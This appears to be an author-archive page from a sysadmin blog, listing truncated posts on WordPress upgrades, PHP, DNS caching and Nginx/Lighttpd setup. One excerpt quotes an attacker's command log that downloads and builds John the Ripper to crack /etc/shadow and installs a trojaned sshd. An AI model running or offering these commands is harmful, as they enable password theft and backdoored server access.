Author Archives: admin

WordPress Hack – How to Upgrade WordPress in 15 seconds using SSH/Wget!

I’ve been upgrading WordPress for almost 4 years now and since I manage about 20 blogs, I have learned to figure out how to upgrade your WordPress faster than ever using SSH and wget command.

For one, you will need a dedicated server/VPS that supports SSH. Otherwise you won’t be able to do it.

Here’s exactly how I do it.

1) I go to my WordPress directory using the command cd. ~ 2 seconds

2) I use

Click Here to Read Full Article

Leave a comment

CentOS Hack – How to Upgrade from PHP 5.1.6 to 5.2!

For those of you who are trying to upgrade from PHP 5.2 because your application requires PHP 5.2 or above, you can use this hack to upgrade your web server running CentOS. Since CentOS doesn’t officially support PHP 5.2 officially yet, this could possibly be a great workaround.

Word of caution, this hack has worked fine for me for a new Twitter app site I am making that requires use of PHP 5.2 but if you have non-standard customizations to your server, you might want to test it first.

I’ve also found that JSON library that comes with PHP 5.2 is like 20 times fast

Click Here to Read Full Article

Leave a comment

How to Install DNS Cache on Your Linux Web Server!

If your website does a lot of queries via domain names such as aggregating RSS feeds or even a Twitter app site that accesses Twitter API, you might benefit from installing DNS cache on your linux web server.

For most, you would benefit from installing DNS cache because it will save you a ton of time for your server to fetch IP addreses. (could be anywhere between 5 to 500ms).

I’ve actually found a great article showing you how to do this on a Linux desktop computer. It actually works fine on web servers too.

Click Here to Read Full Article

Leave a comment

WordPress Hack – WordPress the_post_thumbnail() Feature!

The new WordPress 2.9 released today features a new functionality for WordPress theme designers/coders to add post thumbnails by using the command the_post_thumnail().

Of course, don’t forget that the fact that in order to use this feature, you need to select an image under WordPress admin area and click on “Use as thumbnail”.

I have tried using on older images but seems like it won’t work on the older images. I am sure there’s a way to hack it so the first image of any post will be used as default thumbnail. But I think I will stick wi

Click Here to Read Full Article

Leave a comment

WordPress Hack – How to Get Simple Tags Plugin Working with WordPress 2.9!

For those of you who are getting errors with Simple Tags plugin when upgrading to WordPress 2.9, there’s a simple hack to make it work:

Edit the file simple-tags.php and change the following from this:

if ( strpos($wp_version, ‘2.7′) !== false || strpos($wp_version, ‘2.8′) !== false )

to this:

if ( strpos($wp_version, ‘2.7′) !== false || strpos($wp_version, ‘2.8′) !== false || strpos($wp_version, ‘2.9′) !== false )

I guess it’s because the

Click Here to Read Full Article

Leave a comment

How Hackers Hack Web Servers!

Here’s a rather interesting forum post that details how hackers hack web servers:

w wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm -rf sshd.tar.gz;cd sshd;cd apps/ssh pico genx.h pico genx.h pico ssh2includes.h cd ../.. ./configure –without-x make make install mkdir /lib/java cp /usr/sbin/sshd a mv a

Click Here to Read Full Article

Leave a comment

How to Install Nginx on a WordPress Blog!

Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd.

Recently I had the pleasure of moving all my web servers from Lighttpd to Nginx, here’s how you can install Nginx on your WordPress blog too:

(Note: This guide includes how to install Nginx on your WordPress blog with pretty-permalinks, WP super cache workings, multiple domains, and also MediaWiki settings too.)

You can compile

Click Here to Read Full Article

62 Comments

How To Run Lighttpd with WordPress!

lighttpd

In this blog post, I will show you how to convert a WordPress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web servers, I will leave the extra hacking to you. As for Plesk, I just find it easier to setup everything like e-mail, DNS, and whatnot but you don’t need to use Plesk at all if you can do it all using command-line.

In my recent conversions, my web servers are now able to handle

Click Here to Read Full Article

3 Comments

WordPress Lighttpd vs. Apache Httpd Perfomance Test

This is a WordPress permance test using Lighttpd (which is a faster alternative to Apache) and Apache Httpd on a test server loaded with a real blog.  All tests were done from empty load of zero.

For testing, I’ve used a virtual dedicated server from MediaTemple, specifically their dv Extreme server which touts 2GB of ram and virtual quad-core CPU performance.

I did an initial test with Lighttpd and  found that Lighttpd outperforms Apache H

Click Here to Read Full Article

3 Comments